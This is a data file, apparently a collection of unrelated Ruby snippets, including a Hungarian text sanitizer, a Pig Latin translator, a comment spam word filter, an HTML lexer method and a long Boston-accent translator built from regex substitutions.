Regexp.new(\\\"^\\\"+name[0]+\\\" \\\"+name[1]+\\\" \\\"+name[2])\\n puts [p_name , name , regex].inspect if (p_name =~ regex)\\n end\\n if (name.length >= 2)\\n regex = Regexp.new(\\\"^\\\"+name[0]+\\\" \\\"+name[1])\\n puts [p_name , name , regex].inspect if (p_name =~ regex)\\n end\\n end\\nend\\nend\",\n \"def romeo_and_juliet; end\",\n \"def suivre; end\",\n \"def anchored; end\",\n \"def wookie_sentence; end\",\n \"def king_richard_iii; end\",\n \"def tongue_twister; end\",\n \"def unusual_sport; end\",\n \"def\\n \\nend\\n\\n\\n# 6. sentence_maker refactored solution\",\n \"def sanitize text\\n SANITIZE_THIS.each { |s| text = text.gsub(/#{s}/,'') }\\n\\n #római számok kiegészítés\\n text = text.gsub(/\\\\W*(#{ROMAISZAMOK.keys.join('|')})\\\\.\\\\W*(\\\\w+)/) do \\n ROMAISZAMOK[$1] ? ( ROMAISZAMOK[$1] + ' ' + $2 ) : $&\\n end\\n \\n #századok\\n text = text.gsub(/(\\\\W*)(#{(1..21).to_a.join('|')})\\\\.\\\\W+század/) do\\n $1 + ROMAISZAMOK.values[($2.to_i - 1)]+' század'\\n end\\n\\n #törtek ( itt mind , mind . után jön egy számsorozat\\n text = text.gsub(/(\\\\d+)[,.](\\\\d+)/) { $1 + ' egész,' + $2 + ' ' }\\n\\n #külön írt számok, ha az első nem csatlakozik karakterhez, mint bolygónevek pl M4079 448 km/sec\\n # és a második 3 karakter, hogy táblázatban lévő évszámokat pl ne vonjon össze\\n text = text.gsub(/(\\\\W\\\\d+)\\\\s(\\\\d{3})/) { $1 + $2 }\\n\\n #idegesített az isbn\\n text = text.gsub(/(ISBN)\\\\s*([0-9\\\\-]+)$/i) { 'iesbéen ' + $2.split('').join(' ') }\\n\\n # ie isz kr e kr u\\n text = text.gsub(/(i\\\\.{0,1}\\\\s{0,1}sz\\\\.{0,1})\\\\s{0,1}(\\\\d)/i){ ' időszámításunk szerint ' + $2 }\\n text = text.gsub(/([kK]r\\\\.{0,1}\\\\s{0,1}sz\\\\.{0,1})\\\\s{0,1}(\\\\d)/){ ' Krisztus szerint ' + $2 }\\n text = text.gsub(/([kK]r\\\\.{0,1}\\\\s{0,1}u\\\\.{0,1})\\\\s{0,1}(\\\\d)/){ ' Krisztus után ' + $2 }\\n text = text.gsub(/(i\\\\.{0,1}\\\\s{0,1}e\\\\.{0,1})\\\\s{0,1}(\\\\d)/){ ' időszámításunk előtt ' + $2 }\\n text = text.gsub(/([kK]r\\\\.{0,1}\\\\s{0,1}e\\\\.{0,1})\\\\s{0,1}(\\\\d)/){ ' Krisztus előtt ' + $2 }\\n\\n # kis mértékegység hekk\\n text = text.gsub(/\\\\Wkm\\\\/h\\\\W/,' km per óra ')\\n text = text.gsub(/\\\\WkW\\\\W/,' kilo watt ')\\n text = text.gsub(/\\\\Wkg\\\\W/i,' kilo gramm ')\\n text = text.gsub(/(\\\\d+)\\\\W+m\\\\W/) { $1 + ' méter '}\\n text = text.gsub(/°/,' fok')\\n text = text.gsub(/[&]i/,' és ')\\n # négyzet - sokszor előfordul földrajzban\\n text = text.gsub(/km\\\\W{0,1}²/i){ ' négyzet km ' }\\n # négyzet - matekban változó után jön. :/, mértékegységeknél előtte, mértékegységeket ki kéne szedni tömbbe\\n text = text.gsub(/²/){ ' négyzet ' }\\n text = text.gsub(/\\\\+\\\\/\\\\-/,' plussz minusz ')\\n text = text.gsub(/×/,' szor ')\\n\\n # deokosvagyok rövidítésekbű\\n text = text.gsub(/\\\\sstb\\\\.\\\\s/i, ' satöbbi ')\\n text = text.gsub(/\\\\sun\\\\.\\\\s/i, ' úgy nevezett ')\\n text\\nend\",\n \"def gensecretword\\r\\n\\t\\t \\trand_index = rand(@wordtable.length)\\r\\n\\t\\t \\t@secret_clue = @descr[rand_index]\\r\\n\\t\\t \\t@num_words = @wordtable[rand_index].split(\\\" \\\").length\\r\\n\\t\\t return @wordtable[rand_index].upcase\\r\\n\\t\\t end\",\n \"def enchantment; end\",\n \"def translate(a)\\n\\tvoyel = [\\\"a\\\",\\\"e\\\",\\\"i\\\",\\\"o\\\",\\\"u\\\"]\\ncheck = 0\\nn = 0\\nx = a \\n words = a.split(/\\\\W+/)\\n words.each do |a|\\n\\tok = voyel.include?(a[0])\\n\\tif ok == true \\n\\t\\ta = a + \\\"ay\\\"\\n\\t\\treturn a \\n\\tend\\n while check <= 4\\n\\tb = a.slice(0..check)\\n\\n\\tcheck = check + 1\\n \\n\\tok = voyel.include?(x[check])\\n\\ttest1 = \\\"qu\\\".include?(x[check])\\n\\tif test1 == true \\n\\t\\tif check == 1\\n\\t\\t\\tb = a.slice(0..check)\\n\\t\\t\\ta = a + b + \\\"ay\\\"\\n\\t\\treturn a[2..-1]\\n\\t elsif check == 2\\n\\t \\tb = a.slice(1..check)\\n\\t \\t\\ta = a + b + \\\"ay\\\"\\n\\t \\treturn a[3..-1]\\n\\t elsif check == 3 \\n\\t \\t\\ta = a + b + \\\"ay\\\"\\n\\t \\treturn a[4..-1]\\n\\t end\\n\\tend\\n\\n\\tif ok == true \\n\\t\\tif check == 1\\n\\t\\t\\ta = a + b + \\\"ay\\\"\\n\\t\\treturn a[1..-1]\\n\\t elsif check == 2\\n\\t \\t\\ta = a + b + \\\"ay\\\"\\n\\t \\treturn a[2..-1]\\n\\t elsif check == 3 \\n\\t \\t\\ta = a + b + \\\"ay\\\"\\n\\t \\treturn a[3..-1]\\n\\t end\\n\\tend\\nend\\nend\\nend\",\n \"def does_not_include_badwords\\n\\n badwords = %w(\\n aloha!\\n href=\\n -online\\n 1freewebspace.com\\n 4u\\n 5gighost.com\\n accutane\\n adipex\\n adultsex\\n advicer\\n alprazolam\\n amoxil\\n arcadepages\\n arimidex\\n associations.missouristate.edu\\n ativan\\n augmentin\\n baccarrat\\n baclofen\\n beaver\\n blackjack\\n bllogspot\\n blogs.blackmarble.co.uk\\n blowjob\\n booker\\n buspar\\n byob\\n car-rental-e-site\\n car-rentals-e-site\\n carisoprodol\\n casino\\n casinos\\n chatroom\\n cialis\\n cipro\\n citalopram\\n clomid\\n clonazepam\\n comment1\\n comment2\\n comment3\\n comment4\\n comment5\\n comment6\\n coolcoolhu\\n coolhu\\n credit-card-debt\\n credit-report-4u\\n creditonlinepersonalloans\\n cwas\\n cyclen\\n cyclobenzaprine\\n dating-e-site\\n day-trading\\n debt-consolidation\\n debt-consolidation-consultant\\n diazepam\\n diovan\\n discreetordering\\n dostinex\\n duty-free\\n dutyfree\\n dvxuser.com\\n equityloans\\n fanreach.com\\n fioricet\\n flagyl\\n flowers-leading-site\\n fosamax\\n freenet\\n freenet-shopping\\n gambling-\\n hair-loss\\n health-insurancedeals-4u\\n hi5.com\\n holdem\\n holdempoker\\n holdemsoftware\\n holdemtexasturbowilson\\n homeequityloans\\n homefinance\\n hotel-dealse-site\\n hotele-site\\n hotelse-site\\n hydrocodone\\n hyves.mn\\n incest\\n insurance-quotesdeals-4u\\n insurancedeals-4u\\n isuzuforums.com\\n jestmaster\\n jizz\\n jrcreations\\n kaboodle.com\\n kamagra\\n klonopin\\n lamictal\\n lesbian\\n levaquin\\n levitra\\n lezbian\\n loans\\n lorazepam\\n lycos\\n macinstruct\\n metformin\\n metronidazole\\n mortgage-4-u\\n mortgagequotes\\n musicstation\\n nojazzfest\\n nolvadex\\n online-gambling\\n onlinegambling-4u\\n ottawavalleyag\\n ownsthis\\n palm-texas-holdem-game\\n paxil\\n paydal\\n penguinforum\\n penis\\n personalloansbad\\n pharmacy\\n phenergan\\n phentermine\\n poker-chip\\n porn\\n poze\\n profiles.friendster.com\\n propecia\\n proscar\\n pussy\\n remeron\\n rental-car-e-site\\n ringtone\\n ringtones\\n roulette\\n shemale\\n shoes\\n slot-machine\\n Staphcillin\\n tamiflu\\n tegretol\\n texas-holdem\\n thorcarlson\\n top-e-site\\n top-site\\n toprol\\n toradol\\n tramadol\\n tramodal\\n tramodol\\n trim-spa\\n ultram\\n valeofglamorganconservatives\\n valium\\n viagra\\n vibramycin\\n vicodin\\n vioxx\\n voltaren\\n vytorin\\n xanax\\n zantac\\n zithromax\\n zofran\\n zolpidem\\n zolus\\n )\\n badwords.each do |bw|\\n if !comment.nil? && comment.downcase.include?(bw) \\n errors.add_to_base(\\\"Comment Rejected\\\") \\n break\\n end\\n end\\n end\",\n \"def token!\\n # at line 1:8: ( HTML | HEAD | TITLE | BODY | H1 | H2 | H3 | H4 | H5 | H6 | P | DIV | I | B | U | TABLE | TR | TH | TD | A | IMG | BR | OPENING_TAG | CLOSING_TAG | END_TAG | END_NOPAIR_TAG | ID | CLASS | STYLE | BGCOLOR | BACKGROUND | ALIGN | SRC | ALT | WIDTH | HEIGHT | BORDER | VALIGN | BORDERCOLOR | ANAME | HREF | TARGET | SVALUE | NAME | ASSIGN | WS | PCDATA )\\n alt_9 = 47\\n alt_9 = @dfa9.predict( @input )\\n case alt_9\\n when 1\\n # at line 1:10: HTML\\n html!\\n\\n when 2\\n # at line 1:15: HEAD\\n head!\\n\\n when 3\\n # at line 1:20: TITLE\\n title!\\n\\n when 4\\n # at line 1:26: BODY\\n body!\\n\\n when 5\\n # at line 1:31: H1\\n h_1!\\n\\n when 6\\n # at line 1:34: H2\\n h_2!\\n\\n when 7\\n # at line 1:37: H3\\n h_3!\\n\\n when 8\\n # at line 1:40: H4\\n h_4!\\n\\n when 9\\n # at line 1:43: H5\\n h_5!\\n\\n when 10\\n # at line 1:46: H6\\n h_6!\\n\\n when 11\\n # at line 1:49: P\\n p!\\n\\n when 12\\n # at line 1:51: DIV\\n div!\\n\\n when 13\\n # at line 1:55: I\\n i!\\n\\n when 14\\n # at line 1:57: B\\n b!\\n\\n when 15\\n # at line 1:59: U\\n u!\\n\\n when 16\\n # at line 1:61: TABLE\\n table!\\n\\n when 17\\n # at line 1:67: TR\\n tr!\\n\\n when 18\\n # at line 1:70: TH\\n th!\\n\\n when 19\\n # at line 1:73: TD\\n td!\\n\\n when 20\\n # at line 1:76: A\\n a!\\n\\n when 21\\n # at line 1:78: IMG\\n img!\\n\\n when 22\\n # at line 1:82: BR\\n br!\\n\\n when 23\\n # at line 1:85: OPENING_TAG\\n opening_tag!\\n\\n when 24\\n # at line 1:97: CLOSING_TAG\\n closing_tag!\\n\\n when 25\\n # at line 1:109: END_TAG\\n end_tag!\\n\\n when 26\\n # at line 1:117: END_NOPAIR_TAG\\n end_nopair_tag!\\n\\n when 27\\n # at line 1:132: ID\\n id!\\n\\n when 28\\n # at line 1:135: CLASS\\n class!\\n\\n when 29\\n # at line 1:141: STYLE\\n style!\\n\\n when 30\\n # at line 1:147: BGCOLOR\\n bgcolor!\\n\\n when 31\\n # at line 1:155: BACKGROUND\\n background!\\n\\n when 32\\n # at line 1:166: ALIGN\\n align!\\n\\n when 33\\n # at line 1:172: SRC\\n src!\\n\\n when 34\\n # at line 1:176: ALT\\n alt!\\n\\n when 35\\n # at line 1:180: WIDTH\\n width!\\n\\n when 36\\n # at line 1:186: HEIGHT\\n height!\\n\\n when 37\\n # at line 1:193: BORDER\\n border!\\n\\n when 38\\n # at line 1:200: VALIGN\\n valign!\\n\\n when 39\\n # at line 1:207: BORDERCOLOR\\n bordercolor!\\n\\n when 40\\n # at line 1:219: ANAME\\n aname!\\n\\n when 41\\n # at line 1:225: HREF\\n href!\\n\\n when 42\\n # at line 1:230: TARGET\\n target!\\n\\n when 43\\n # at line 1:237: SVALUE\\n svalue!\\n\\n when 44\\n # at line 1:244: NAME\\n name!\\n\\n when 45\\n # at line 1:249: ASSIGN\\n assign!\\n\\n when 46\\n # at line 1:256: WS\\n ws!\\n\\n when 47\\n # at line 1:259: PCDATA\\n pcdata!\\n\\n end\\n end\",\n \"def formation; end\",\n \"def superweening_adorningly(counterstand_pyrenomycetales)\\n end\",\n \"def translator\\n # Greet your user in the language of their people.\\n puts [\\\"SUP KID? \\\",\\n \\t \\\"What didja say? \\\",\\n \\t \\\"How ya doan? \\\",\\n \\t \\\"How ahrya?\\\",\\n \\t \\\"How 'bout them Sox? \\\",\\n \\t \\\"How 'bout them Pats? \\\"].sample\\n\\n # Get their response and lop off the carriage return, Massachusetts Left style.\\n phrase = gets.chomp.to_s\\n\\n # Now we're going to award the user points based on density of Boston-specific\\n # diction, aka their Beantown Points(tm).\\n i = 0\\n beantown_points = 0\\n wicked_boston_words = [\\\"bubblah\\\",\\n \\\"wicked\\\",\\n \\\"reveah\\\",\\n \\\"the dot\\\",\\n \\\"medfid\\\",\\n \\\"broons\\\",\\n \\\"barrel\\\",\\n \\\"digga\\\",\\n \\\"southie\\\",\\n \\\"eastie\\\",\\n \\\"rotary\\\",\\n \\\"pissah\\\",\\n \\\"jp\\\",\\n \\\"fried\\\",\\n \\\"directional\\\",\\n \\\"beantown\\\",\\n \\\"red sox\\\",\\n \\\"common\\\",\\n \\\"dunkin donuts\\\",\\n \\\"patriots\\\",\\n \\\"celtics\\\",\\n \\\"green monster\\\",\\n \\\"dirty watah\\\",\\n \\\"packie\\\"\\n ]\\n\\n searchable_phrase = phrase.downcase\\n\\n wicked_boston_words.each do |i|\\n \\tif searchable_phrase.include?(i)\\n \\t\\tbeantown_points += 1\\n \\tend\\n end\\n\\n ########################################################################################################\\n # A-Z dictionary of specific gsubs for targeted replacement. This is about to get wicked awesome, bro! #\\n ########################################################################################################\\n\\n # A\\n phrase.gsub!(/\\\\bacross the rivah?\\\\b/i, 'on the other side of the Charles River') # across the rivah (other side of the charles)\\n phrase.gsub!(/\\\\b(a)dvahtisin'?g?\\\\b/i, '\\\\1dvertising') # advahtisin'(g)\\n phrase.gsub!(/\\\\b(a)dvisah?\\\\b/i, '\\\\1dviser') # advisah\\n phrase.gsub!(/\\\\b(a)doah\\\\b/i, '\\\\1dore') # adoah\\n phrase.gsub!(/(a)ftah/i, '\\\\1fter') # aftah (aftahwahds, raftah, & other containing words)\\n phrase.gsub!(/\\\\bah(h)?(?=\\\\s[a-z]+in('|g))?\\\\b/i, 'are') # ah (usually \\\"are\\\" if a word ending in \\\"ing is after\\\")\\n phrase.gsub!(/\\\\b(the)? Ahbs\\\\b/i, '\\\\1 Arboretum') # the ahbs is a fun place to hang out\\n phrase.gsub!(/\\\\b(a)hm\\\\b/i, '\\\\1rm') # curt schilling's gotta good ahm\\n phrase.gsub!(/(f|w|h|al|ch|fore)ahm(s?)/i, '\\\\1arm\\\\2') # ahm at the end of words\\n phrase.gsub!(/\\\\bahr\\\\b/i, 'are') # ahr\\n phrase.gsub!(/\\\\bahrya\\\\b/i, 'are you') # how ahrya?!\\n phrase.gsub!(/\\\\b(a)hnt\\\\b/i, '\\\\1unt') # ya ahnt is comin' to Christmas\\n phrase.gsub!(/\\\\ball set\\\\b/i, 'all done') # all set with my dinnah, thank you\\n phrase.gsub!(/\\\\bAllston Christmas\\\\b/i, 'The last weekend in August when all the students move out and leave their furniture behind in Allston') # Gonna need a biggah cah\\n phrase.gsub!(/\\\\b(a)mbassad(oah|ah)(s)/i, '\\\\1ambassad\\\\2\\\\3') # ambassadoah/dah\\n\\n # B\\n phrase.gsub!(/\\\\b(b)ah\\\\b/i, '\\\\1ar') # bah (let's get a beeah at the bah)\\n phrase.gsub!(/\\\\b(cross|crow|de|dis|draw|handle|iso|sand|side)bah(s)\\\\b/i, '\\\\1bar\\\\2') # \\\"bah\\\" (words ending in bah)\\n phrase.gsub!(/\\\\bbahnie\\\\b/i, 'smart geek') # bahnie\\n phrase.gsub!(/\\\\bbang a left\\\\b/i, 'take a left') # bang a left...but do it before the oncoming turns green!\\n phrase.gsub!(/\\\\b(b)ankin/i, 'hillside') # watch the game from the bankin\\n phrase.gsub!(/\\\\bbarrel/i, 'trash can') # throw that yankees jersey in the barrel\\n phrase.gsub!(/\\\\bbazo\\\\b/i, 'drunk') # bazo on the weekendddd\\n phrase.gsub!(/\\\\bbeantown\\\\b/i, 'Boston') # beantown\\n phrase.gsub!(/\\\\b(b)eeah(s)?\\\\b/i, '\\\\1eer') # lemme buy ya a beeah (sam adams please)\\n phrase.gsub!(/\\\\b(b)ettah\\\\b/i, '\\\\1etter') # bettah (than you)\\n phrase.gsub!(/\\\\bbig(-|\\\\s)ball bowling?/i, '10-pin bowling') # big ball bowlin'\\n phrase.gsub!(/\\\\bBig Dig\\\\b/i, 'the most expensive highway project in U.S. History') # the big dig, depress that central ahtery\\n phrase.gsub!(/\\\\bb(ill-)?ricka/i, 'Billerica') # Billerica\\n phrase.gsub!(/\\\\bboahded\\\\b/i, 'dibs') # boahded\\n phrase.gsub!(/\\\\bbobos\\\\b/i, 'boat shoes') # bobos\\n phrase.gsub!(/\\\\bBostonian\\\\b/i, 'resident of Boston') # Bostonian\\n phrase.gsub!(/\\\\bbook(ed|in)? outta theah\\\\b/i, 'took off') # bookin' it\\n phrase.gsub!(/\\\\b(b)r(a|u)h\\\\b/i, '\\\\1ro') # brah/bruh\\n phrase.gsub!(/\\\\bbrahmin\\\\b/i, 'WASP-y type') # Brahmin\\n phrase.gsub!(/\\\\bbreakdown lane\\\\b/i, 'highway shoulder') # breakdown lane at rush hoah, jeez\\n phrase.gsub!(/\\\\bBroons\\\\b/i, 'Bruins') # Da Broons!\\n phrase.gsub!(/\\\\bbubblah\\\\b/i, 'water fountain') # bubblah\\n\\n # C\\n phrase.gsub!(/\\\\b(c)ahds\\\\b/i, '\\\\1ards') # cahds\\n phrase.gsub!(/\\\\b(c|ced|chedd|sc|sidec|tramc|supahc|vic)ah(s)?\\\\b/i, '\\\\1ar\\\\2') # cah(s) and 6 containing words that are most common.\\n phrase.gsub!(/\\\\b(c)alendah(s)?\\\\b/i, '\\\\1alendar\\\\2') # calendah (the sawx got theyah openin' day on theah!)\\n phrase.gsub!(/\\\\bcalm ya liva(a|h)?/i, 'relax') # calm ya livah, I didn't eat ya dinnah\\n phrase.gsub!(/\\\\b(c)an't get\\\\b/i, '\\\\1an get') # can't get (no satifaction...but plenty of double negatives up for grabs, so)\\n phrase.gsub!(/\\\\bThe Cape\\\\b/i, 'Cape Code, Massachusetts') # goin' to the Cape this summah\\n phrase.gsub!(/\\\\bcarriage\\\\b/i, 'grocery cart') # carriage (for ya lobstahs and beeahs)\\n phrase.gsub!(/\\\\b(c)awna\\\\b/i, '\\\\1orner') # coolidge cawna\\n phrase.gsub!(/\\\\b(c)ella(h)\\\\b?/i, 'basement') # go down cella\\n phrase.gsub!(/\\\\b(c)howdah\\\\b/i, '\\\\1howder') # chowdah (clam or lobstah, take ya pick at sullivan's!)\\n phrase.gsub!(/\\\\b(coffee|small|medium|lahge) regulah\\\\b/i, 'coffee with cream and two sugars') # coffee, regulah\\n phrase.gsub!(/\\\\bCochihchewit\\\\b/i, 'Cochituate') # Co-CHIH-chew-it\\n phrase.gsub!(/\\\\b(c)onsidah\\\\b/i, '\\\\1onsider') # considah\\n phrase.gsub!(/\\\\b(c)orridoah(s)\\\\b/i, '\\\\1orridor\\\\2') # corridor\\n phrase.gsub!(/\\\\b(c)umbie(s|'s)/i, 'Cumberland Farms Mini-Mart') # cumbie's\\n\\n # D\\n phrase.gsub!(/\\\\b(Mon|Tues|Wed|Thurs|Fri|Sun)diz/i, '\\\\1days') # plural days of the week, less Saturday which can have a couple pronunciations\\n phrase.gsub!(/\\\\b(d)ecoah\\\\b/i, '\\\\1ecor') # decoah (in ya apahtment!) -- most frequently used word ending in \\\"cor\\\"\\n phrase.gsub!(/\\\\bdecked\\\\b/i, 'punched') # he got decked at the sox game\\n phrase.gsub!(/\\\\bdecked\\\\sout\\\\b/i, 'dressed up') # he's all decked out for his date!\\n phrase.gsub!(/\\\\b(d)idja\\\\b/i, '\\\\1id you') # didja\\n phrase.gsub!(/\\\\bdirty watah\\\\b/i, 'the Charles River') # love that dirty watah\\n phrase.gsub!(/\\\\bdiggah?\\\\b/i, 'fall') # fell on some ice and took a diggah\\n phrase.gsub!(/\\\\b(d|fl|ind|p|outd)oah\\\\b/i, '\\\\1oor') # oah words ending in oor\\n phrase.gsub!(/\\\\b(direc|doc)tah\\\\b/i, '\\\\1tor') # doctah/directah\\n phrase.gsub!(/\\\\bdirectional\\\\b/i, 'turn signal') # put on ya directional before you take turn\\n phrase.gsub!(/\\\\bDot Ave\\\\b/i, 'Dorchester Avenue') # Dot Ave\\n phrase.gsub!(/\\\\bDot Rat(s)?/i, 'resident\\\\1 of Dorchester') # Dot Rats\\n phrase.gsub!(/\\\\bthe Dot\\\\b/i, 'Dorchester') # the dot\\n phrase.gsub!(/\\\\bdunki(n'?s'?|n|es)(\\\\sdonuts)?\\\\b/i, 'Dunkin\\\\' Donuts') # dunkies, dunkins, dunkin, dunkin's, & dunkin's!\\n phrase.gsub!(/\\\\bdrawring\\\\b/i, 'drawing') # drawring\\n\\n # E\\n phrase.gsub!(/\\\\bEastie\\\\b/i, 'East Boston') # Eastie\\n phrase.gsub!(/\\\\belastic(s)?\\\\b/i, 'rubber band\\\\1') # elastics\\n phrase.gsub!(/(e)ntah\\\\b/i, '\\\\1nter') # entah (come in heah!)\\n phrase.gsub!(/\\\\b(e)ntiah\\\\b/i, 'entire') # entiah (I've lived in Boston my entiah life)\\n phrase.gsub!(/(n)?(e)vah\\\\b/i, '\\\\1\\\\2ver') # evah (or forevahevah! or nevah. that too.)\\n\\n # F\\n phrase.gsub!(/\\\\bfahr\\\\b/i, 'for') # fahr (ready fahr spring after this wintah!)\\n phrase.gsub!(/\\\\bfactah\\\\b/i, 'factor') # factah\\n phrase.gsub!(/\\\\b(af|insof|ovahf|f)ah\\\\b/i, '\\\\1ar') # fah (neah, fah, wheahevah you ahhhhh)\\n phrase.gsub!(/(f)ahkin'?/i, '\\\\1*!king') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\\n phrase.gsub!(/(f)ahk?/i, '\\\\1*!k') # I mean, it's not very polite but you have to admit it is a distinctive part of a true Boston accent!\\n phrase.gsub!(/\\\\b(airf|cahf|thoughroughf|welf|wahf|f)ayah\\\\b/i, '\\\\1are') # fayah (wahfayah, aihfayah)\\n phrase.gsub!(/\\\\bfawr\\\\b/i, 'for') # fawr\\n phrase.gsub!(/(af|bef|f)oah\\\\b/i, '\\\\1ore') # foah (fore & variants)\\n phrase.gsub!(/\\\\bfoddy\\\\b/i, 'fourty') # foddy\\n phrase.gsub!(/\\\\bfrappe\\\\b/i, 'a milkshake/malted (ice cream, milk, & syrup blended)') # frappe\\n phrase.gsub!(/\\\\b(frickin|friggin)'?(?!\\\\z|\\\\s)/i, 'freaking') # the G-rated version of Boston's favorite adjective\\n phrase.gsub!(/\\\\bfried\\\\b/i, 'weird') # fried\\n phrase.gsub!(/\\\\bFudgicle\\\\b/i, 'Fudgsicle') # a fudgsicle that lost the \\\"s\\\"\\n\\n # G\\n phrase.gsub!(/\\\\b(g)ahbidge\\\\b/i, '\\\\1arbage') # Wednesdiz is gahbidge day\\n phrase.gsub!(/\\\\b(gawrls|gahls|gawhls)/i, 'girls') # gawrls just wanna...learn to code and change the girl to dave ratio, actually.\\n phrase.gsub!(/(g)awd\\\\b/i, '\\\\1od') # oh my gawd\\n phrase.gsub!(/\\\\b(g)ovahment\\\\b/i, '\\\\1overnment') # Govahment Centah! It's wheah Boston Cawllin' always is!\\n phrase.gsub!(/\\\\b(ci|beg|vul|sug|vine)gah(s)?\\\\b/i, '\\\\1gar\\\\2') # gah --> sugah, cigah, etc.\\n phrase.gsub!(/\\\\b(g)oah\\\\b/i, '\\\\1ore') # goah (Melissa-Leigh Goah, like Al Goah, he invented the intahnet)\\n phrase.gsub!(/\\\\bg(o|a)tta\\\\b/i, 'have to') # gotta\\n phrase.gsub!(/\\\\b(g)rammah\\\\b/i, '\\\\1rammar') # grammah\\n phrase.gsub!(/\\\\bgrindah?(s)?\\\\b/i, 'sub\\\\1') # grindahs\\n phrase.gsub!(/\\\\b(g)uitah\\\\b/i, '\\\\1uitar') # guitah (what's that game the kids ah playin? guitah hero?!)\\n\\n # H\\n phrase.gsub!(/\\\\b(Hahvahd|Havahd|Havid|Hahvid)/i, 'Harvard') # Let's go to Hahvid and sit outside the Widenah Library\\n phrase.gsub!(/\\\\b(hang|hook) a right\\\\b/i, 'take a right') # hang/hook a right\\n phrase.gsub!(/\\\\bhamburg\\\\b/i, 'ground beef') # my grammy's go to dinnah was hamburg thingies..aka ground beef patties with mustard cooked on one side of a hamburger bun (this is an actual true story from the writer of this program, haha)\\n phrase.gsub!(/\\\\b(heahd|heid)\\\\b/i, 'heard') # ya nevah heahd about that?\\n phrase.gsub!(/heah/i, 'here') # heah, wheah, theah (wait, who's on first?!) -- this matches on at least 300 english words containing \\\"here\\\"\\n #hahbah (no taxation without representation, ya dig?) covered under \\\"lahbah\\\"\\n phrase.gsub!(/\\\\bHub\\\\b/i, 'Boston') # the Hub\\n\\n # I\\n phrase.gsub!(/\\\\b(i)dear\\\\b/i, '\\\\1dea') # idear (so THAT'S where all those \\\"r\\\"'s went!')\\n phrase.gsub!(/\\\\b(i)ntahfeah\\\\b/i, '\\\\1nterfere') # doan wanna intahfeah, ya know?\\n\\n # J\\n phrase.gsub!(/\\\\b(a)?(j)ah\\\\b/i, '\\\\1\\\\2ar') # jah and ajah, like jams and doahs, but not doahjahms. well, maybe.\\n phrase.gsub!(/\\\\bjimmies\\\\b/i, 'chocolate sprinkles') # jimmies, just be careful asking for these in NJ\\n phrase.gsub!(/\\\\bJP\\\\b/, 'Jamaica Plain') # JP, fastest gentrifying neighbahood\\n\\n # K\\n phrase.gsub!(/\\\\b(k)eggah?(s)\\\\b/i, '\\\\1eg party\\\\2') # kegga, aka something you throw at ya new apahtment in college\\n phrase.gsub!(/\\\\b(k)inda\\\\b/i, '\\\\1ind of') #\\n\\n # L\\n phrase.gsub!(/(chancel|council|sail|counsel|tai|pah|bache|co|sett)lah\\\\b/i, '\\\\1lor') # lah (words ending in lah are usually \\\"ler\\\", so this looks for the most common ones that should actually be \\\"lor\\\" first)\\n phrase.gsub!(/([a-z])+ahbah\\\\b/i, '\\\\1abor') # lahbah (workin' hahd!) also covers hahbah (no taxation without representation, ya dig?!) and other bor words -- targeted rule so general rule doesn't make this \\\"laber\\\"\\n phrase.gsub!(/\\\\b(l)abradoah(s)\\\\b/i, '\\\\1abrador\\\\2') # labradoah retrievah\\n phrase.gsub!(/\\\\bLe(ay|i)?stuh\\\\b/i, 'Leicester') # Leicester\\n phrase.gsub!(/\\\\bLem(o|i)nstah\\\\b/i, 'Leominster') # Leominster\\n phrase.gsub!(/\\\\bLight Dawns ovah? Mahblehead\\\\b/i, 'Oh, DUH.') # light dawns ovah mahblehead\\n phrase.gsub!(/\\\\b(l)iquah\\\\b/i, '\\\\1iquor') # liquah stoah...aka a packie, tbh\\n phrase.gsub!(/\\\\blotta\\\\b/i, 'lot of') # lotta\\n\\n # M\\n phrase.gsub!(/(ah|gla|hu|ru|tre|tu)mah\\\\b/i, 'mor') # words ending in mah, like rumah, humah (targeted gsub bc most are \\\"mer\\\")\\n phrase.gsub!(/\\\\b(m)ajah\\\\b/i, '\\\\1ajor') # majah league baseball\\n phrase.gsub!(/\\\\bmasshole\\\\b/i, 'a proud jerk from Massachusetts') # massholes :)\\n phrase.gsub!(/\\\\b(m)ayah\\\\b/i, '\\\\1ayor') # Mayah Menino was the best mayah evah. (RIP)\\n phrase.gsub!(/\\\\b(Mehfuh|Meffid|Medfid)\\\\b/i, 'Medford') # Meffid. Next to Somerville, home to Tufts\\n phrase.gsub(/ministah\\\\b/i, 'minister') # ministah (the religious kind, but also administer, etc)\\n\\n # N\\n phrase.gsub!(/\\\\b(nawht|naht)\\\\b/, 'not') # naht/nawt\\n phrase.gsub!(/\\\\bnooyawka\\\\b/i, 'New Yorker') # Nooyawka, just the kind of person you don't want to meet at Fenway\\n phrase.gsub!(/(semi|so|lu)nah\\\\b/i, '\\\\1nar') # \\\"nah\\\" ending words that aren't \\\"ner\\\"...seminah, solah\\n phrase.gsub!(/(na-ah|nuh-uh|nuh-ah)/i, 'no way') # nah-ah\\n phrase.gsub!(/\\\\bneighbahood\\\\b/i, 'neighborhood') # neighbahood\\n\\n # O\\n phrase.gsub!(/\\\\b(o)ah\\\\b/, '\\\\1ur') # oah (this is ah (our) city!)\\n phrase.gsub!(/(o)ffah/i, '\\\\1ffer') # offah\\n phrase.gsub!(/onna(-|\\\\s)?conna/i, 'on account of') # onna-conna I gotta help my ma\\n phrase.gsub!(/\\\\bopen ai(r|h)\\\\b/i, 'drive in movie') # open air (drive in movie theatre)\\n phrase.gsub!(/(o)thah/i, '\\\\1ther') # othah (and also containing words like anothah or brothah)\\n phrase.gsub!(/(o)vah/i, '\\\\1ver') # ovah (and also containing words like covah (at the bah!) rovah or ovahpass)\\n phrase.gsub!(/(o)wah\\\\b/i, '\\\\1wer') # owah (all words ending in \\\"ower\\\", powah, flowah, etc)\\n\\n # P\\n phrase.gsub!(/\\\\bpackie\\\\b/i, 'liquor store') # packie\\n phrase.gsub!(/\\\\bpeab('dee|dee|ody)\\\\b/i, 'Peabody') # Peabody\\n phrase.gsub!(/\\\\b(p)lenny\\\\b/i, '\\\\1lenty') # plenny ah beahs in the fridge\\n phrase.gsub!(/\\\\bpissah?\\\\b/i, 'cool') # wicked pissah\\n phrase.gsub!(/\\\\b(Ptown|P-Town|P Town)/i, 'Provincetown') # at the endah tha cape\\n\\n # Q\\n phrase.gsub!(/\\\\bquality\\\\b/i, 'worthless') # sarcasm at its finest\\n phrase.gsub!(/\\\\bQuinzee\\\\b/i, 'Quincy') # Quincy\\n\\n # R\\n phrase.gsub!(/\\\\b(r)adah?\\\\b/i, '\\\\1adar') # radah (cops runnin the radah around to cawnah)\\n phrase.gsub!(/\\\\brahya\\\\b/i, 'rare') 